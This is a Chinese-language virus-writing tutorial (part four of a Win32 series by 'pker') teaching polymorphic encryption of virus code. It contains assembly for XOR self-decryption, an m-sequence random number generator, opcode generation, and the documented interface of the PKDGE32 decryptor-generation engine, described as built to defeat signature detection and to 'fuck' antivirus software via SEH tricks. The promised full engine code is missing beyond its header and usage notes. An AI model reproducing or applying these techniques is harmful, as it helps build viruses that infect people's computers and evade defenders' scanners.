Win32病毒入门(四)

【pker / CVC.GB】 
11、多态(Polymorphism) 
----------------------- 
在谈多态之前让我们先来看一看简单的代码加密(当然,在这里我指的不是密码学上的加密 
:P)。考虑如下代码: 
__start:        mov     esi,code2encrypt 
                mov     edi,esi 
                mov     ecx,code_len 
encrypt:        lodsb 
                xor     al,2fh 
                stosb 
                loop    encrypt 
code2encrypt:   ... 
code_len = $-code2encrypt 
上面的代码把code2encrypt中的每个字节与密钥(上面代码中的2fh,当然它可以是任意值) 
相异或,这样得到的代码就是经过加密的代码了。解密时只要把加密的代码与密钥再次异或 
即可解密。 
上面的方法是一般使用的加密方法,加密的代码只有经过动态解密过程才能被还原成可以执 
行的原始代码。在感染的时候我们可以随机产生密钥并把经过这个密钥加密的代码写进宿主。 
这样,由于加密时的密钥是随机产生的,那么通过简单的特征值检测的方法就无法检测出该 
病毒。 
但是这样还有一个问题,就是我们的解密代码每次都是相同的(仅仅是密钥的值不同),所 
以这样的病毒依然存在特征值!解决的方法是使我们的解密代码在每次感染时也不相同,这 
种对解密代码进行变换的技术叫做多态(polymorphism),我们一般称之为poly。 
一个简单的poly引擎应该做到: 
    1、解密代码可以随机选取寄存器 
    2、可以随机调换先后顺序无关指令的顺序 
    3、可以替换形式不同但功能相同的指令 
    4、可以在解密代码的指令之间随机地插入垃圾指令 
上面是最基本的要求,当然还可以: 
    5、使用一些平台相关技术,如SEH等 
    6、使用一些未公开指令 
    7、可以随机插入反静态反汇编指令 
    等等... 
下面我们来看一下一个最简单的poly引擎的设计过程: 
首先,我们可以把上面的解密(同时也是加密)代码一般化: 
__start:        mov     Rx,code2encrypt 
                mov     Ry,code_len 
encrypt:        xor     byte [Rx],2fh 
                inc     Rx 
                dec     Ry 
                jnz     encrypt 
code2encrypt:   ... 
code_len = $-code2encrypt 
对于这样的加密代码,首先我们可以看到,代码中的Rx和Ry寄存器是可以随机选取的,但不 
要用ESP因为那是堆栈指针,也最好不要用EBP,那样在后面的代码生成时你会看到它的可怕 
:P 然后,我们还可以看到,前两条指令的顺序是无关的,我们可以调换它们的顺序。其次, 
我们还可以把MOV REG,IMM指令用PUSH IMM/POP REG指令对进行替换,因为它们完成相同的 
功能。还有最重要的一点,我们要在这些指令之间插入一些垃圾指令。 

11.1、随机数发生器 
------------------ 
好了,对于一个poly引擎的设计我想我们已经有了一定的思路。让我们从头开始,先来设计 
一个随机函数发生器(Random Number Generator, RNG)。RNG的好坏很大程度上决定了一 
个poly引擎的质量 :| 
获得随机数的一个最简单的办法可以调用Win32 API GetTickCount (),或者使用Pentium指 
令RDTSC,它的opcode是310fh。我们可以使用如下代码: 
__random:       call    [GetTickCount] 
                xor     edx,edx 
                div     ecx 
                xchg    edx,eax 
                ret 
或者使用RDTSC: 
__random:       db      0fh,31h 
                xor     edx,edx 
                div     ecx 
                xchg    edx,eax 
                ret 
但是这样做的效果并不好。下面我们来看一下我的RNG的设计: 
我们先来看这样一个装置,我们称它为PN(伪噪声,Pseudo Noise)序列发生器, 
                           (模2加法) 
                             _____ 
                            /     \ 
               +----------- |  +  | <-------------------------------+ 
               |            \_____/                                 | 
               |               A                                    | 
               |    +------+   |    +------+               +----+   | 
               +--> | Dn-1 | --+--> | Dn-2 | ---> ... ---> | D0 | --+--> 输出 
                    +------+        +------+               +----+ 
                       A               A                     A 
                       |               |                     | 
   时钟 ---------------+---------------+---------------------+ 
它由一个n位的移位寄存器和反馈逻辑组成,这里的反馈逻辑是一个模2加法(我们下面用* 
表示这个运算),即:Dn = Dn-1 * D0。一般我们称移位寄存器通过从右至左的移动而形成 
序列的状态为正状态,反之成为反状态。所以上图是一个反状态PN序列发生器(不过我们并 
不需要关心这个 :P)。下面通过一个更为简单的例子来说明PN序列发生器是如何工作的: 
                         (模2加法) 
                           _____ 
                          /     \ 
               +--------- |  +  | <--------------------+ 
               |          \_____/                      | 
               |             A                         | 
               |    +----+   |    +----+      +----+   | 
               +--> | D2 | --+--> | D1 | ---> | D0 | --+--> 输出 
                    +----+        +----+      +----+ 
                      A             A           A 
                      |             |           | 
   时钟 --------------+-------------+-----------+ 
假设我们的移位寄存器的初始状态为110,那么当下一个时钟信号到来时移位寄存器的状态就 
变为111,随后是:011、101、010、001、100、110... 
输出序列为:0111010 0...。我们称这样一个序列为一个伪噪声序列。 
读者可以通过实验看出,当反馈逻辑不同时,就构成了不同的PN序列发生器,而这些不同的 
发生器的线性移位寄存器产生的输出序列周期也不同,我们称周期为(2^n)-1的PN序列发生器 
为m序列发生器。 
由于一个m序列具有最大周期,所以我们可以使用它来产生我们的随机数(其实m序列本身就是 
一个伪随机序列)。考虑如下代码: 

; input: 
;       eax --- a non-zero random number, which could  be generated by RDTSC or 
;               GetTickCount or such functionz 
; output: 
;       eax --- the result of the function 

__m_seq_gen:    pushad 
                xor     esi,esi                 ; use to save the 32bit m-sequence 
                push    32                      ; loop 32 times (but it's not a 
                pop     ecx                     ; cycle in the m-sequence generator) 
msg_next_bit:   mov     ebx,eax 
                mov     ebp,ebx 
                xor     edx,edx 
                inc     edx 
                and     ebp,edx                 ; get the lowest bit 
                dec     cl 
                shl     ebp,cl 
                or      esi,ebp                 ; output... 
                inc     cl 
                and     ebx,80000001h           ; \ 
                ror     bx,1                    ;  \ 
                mov     edx,ebx                 ;   \ 
                ror     ebx,16                  ;    module 2 addition 
                xor     bx,dx                   ;   / 
                rcl     ebx,17                  ;  / 
                rcr     eax,1                   ; / 
                loop    msg_next_bit 
                mov     [esp+28],esi 
                popad 
                ret 
下面是我的PKRNG中的随机函数发生器: 

; input: 
;       eax --- pointz to the random seed field 
;       edx --- the range of the random number to be generated 
; output: 
;       eax --- random number as result 

__random:       pushad 
                xchg    ecx,edx 
                mov     edi,eax 
                mov     esi,eax 
                lodsd                           ; get the previous seed value 
                mov     ebx,eax 
                mov     ebp,ebx 
                call    __m_seq_gen             ; generate a m-sequence 
                imul    ebp                     ; multiply with the previous seed 
                xchg    ebx,eax 
                call    __m_seq_gen             ; generate anothe m-sequence 
                add     eax,ebx                 ; to make noise... 
                add     eax,92151fech           ; and some noisez... 
                stosd                           ; write new seed value 
                xor     edx,edx 
                div     ecx                     ; calculate the random number 
                mov     [esp+28],edx            ; according to a specified range 
                popad 
                ret 
下面的函数用来初始化随机种子: 

; input: 
;       edi --- points to the seed field 
; output: 
;       nothing 

__randomize:    pushad 
                db      0fh,31h                 ; RDTSC 
                add     eax,edx                 ; ... 
                stosd                           ; fill in the seed buffer 
                popad 
                ret 

11.2、动态代码生成技术 
---------------------- 
这是一个非常简单的问题,比如我们要生成push reg指令: 
首先,push reg的opcode为50h,这条指令的低3位用来描述reg。(为什么?复习一下计算 
机原理吧 :P),所以push eax的opcode就为50h,push ecx的opcode就为51h... 
对于这条指令生成,我们可以考虑如下代码: 
; suppose ecx containz the register mask (000: eax, 001: ecx...) 
                xxxx                            ; push reg16 ? 
                jnz     push_reg_32             ; ... 
                mov     al,66h                  ; assistant opcode 
                stosb                           ; for push reg16... 
push_reg_32:    xchg    cl,al 
                or      al,50h 
                stosb 
首先我们判断是否push16为寄存器,如果是我们先要生成辅助码66h,否则就可以直接生成 
相应的机器码。 

11.3、一个完整的引擎 
-------------------- 
好了,  有了上面的这些技术和思想, 我们可以编写我们的poly engine了。 下面是我的 
PKDGE32的完整代码: 

; pker's Decryptor Generation Engine for Win32 (PKDGE32) 
; ====================================================== 


; Description 
; ----------- 

; I wanted to code a polymorphic engine when I first started coding this.  Then 
; I got the idea of generating decrypt code dynamically instead of morphing the 
; original decrypt code.  The generated  decryptor uses random registerz,  with 
; junk code inserted,  and it's  instruction-permutable.  When coding,  I found 
; that the name  'decrypt generation engine'  is more  appropriate than a poly- 
; morphic engine, so I renamed it to PKDBE32. 

; Generally, the decrypt code looks like the following: 

;                   mov     Rw,offset code2decrypt      ; (1) 
;                   mov     Rz,decrypt_size             ; (2) 
; decrypt_loop:     xor     byte [Rw],imm8              ; (3) 
;                   inc     Rw                          ; (4) 
;                   dec     Rz                          ; (5) 
;                   jnz     decrypt_loop                ; (6) 

; As we can see,  I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ... 
; this  means  the we can use random registerz in the decrypt code.  The engine 
; can  select  random  registerz to generate each instruction.  Meanwhile,  the 
; first 2  instructionz are  permutable,  so the engine will put the 2 instruc- 
; tionz in a random order.  Also,  we know that some of the instructionz can be 
; replaced by other instructionz that performed the same.  For example,  we can 
; use PUSH/POP to replace MOV XXX/XXX, etc.  Last but important, is, the engine 
; will insert junk codez after each instructionz. 

; One more thing, the engine setup a SEH frame before the decrypt code in order 
; to fuck some AVsoftz.  And of course,  there're also junk codez between these 
; instructionz. 

; The SEH frame's like the following code: 

; start:            call    setup_seh                   ; (1) 
;                   mov     esp,[esp+8]                 ; (2) 
;                   jmp     end_seh                     ; (3) 
; setup_seh:        xor     Rx,Rx                       ; (4) 
;                   push    dword [fs:Rx]               ; (5) 
;                   mov     [fs:Rx],esp                 ; (6) 
;                   dec     dword [Rx]                  ; (7) 
;                   jmp     start                       ; (8) 
; end_seh:          xor     Ry,Ry                       ; (9) 
;                   pop     dword [fs:Ry]               ; (10) 
;                   pop     Rz                          ; (11) 

; Then comes the real decrypt code (generated by this engine). 


; How to use it? 
; -------------- 

; This engine can compile with FASM, TASM and MASM, etc. 

; When using FASM we can: 

; decryptor: times 40h      db      90h 
; crypt_code: ... 
; crypted_size = $-crypt_code 
; rng_seed          dd          ? 

; gen_decrytpor:    mov     edi,decryptor 
;                   mov     esi,rng_seed 
;                   mov     ebx,crypt_code 
;                   mov     ecx,crypted_size 
;                   mov     edx,9ah 
;                   call    __pkdge32 

; When using TASM or MASM we should: 

; decryptor         db      40h dup (90h) 
; crypt_code: ... 
; crypted_size = $-crypt_code 
; rng_seed          dd          ? 

; gen_decrytpor:    mov     edi,offset decryptor 
;                   mov     esi,offset rng_seed 
;                   mov     ebx,offset crypt_code 
;                   mov     ecx,crypted_size 
;                   mov     edx,9ah 
;                   call    __pkdge32 

; One more feature, the engine returns the address of the code2decrypt field in 
; the decryptor,  so we can fix this value after generating the decryptor. This 
; means  we  can replace the code which to be decrypt anywhere after generating 
; the  decrypt  code.  We can replace our code which to be decrypted just after 
; the decryptor, without padding so many NOPz between them :P 

; We could code like this: 

; col_code: times crypted_size+200h    db   0 

; gen_decrytpor:    mov     edi,col_code 
;                   mov     esi,rng_seed 
;                   mov     ecx,crypted_size 
;                   mov     ebx,12345678h 
;                   mov     edx,12345678h 
;                   call    __pkdge32 
; fix_address:      mov     esi,edi 
;                   xchg    eax,edi 
;                   stosd 
;                   xchg    esi,edi 
; copy_code:        mov     esi,crypt_code 
;                   mov     ecx,crypted_size 
;                   rep     movsb 

; Well, enjoy it! 


; Copyright 
; --------- 

; (c) 2004. No rightz reserved. Use without permission :P. 

你可能感兴趣的:(Win32)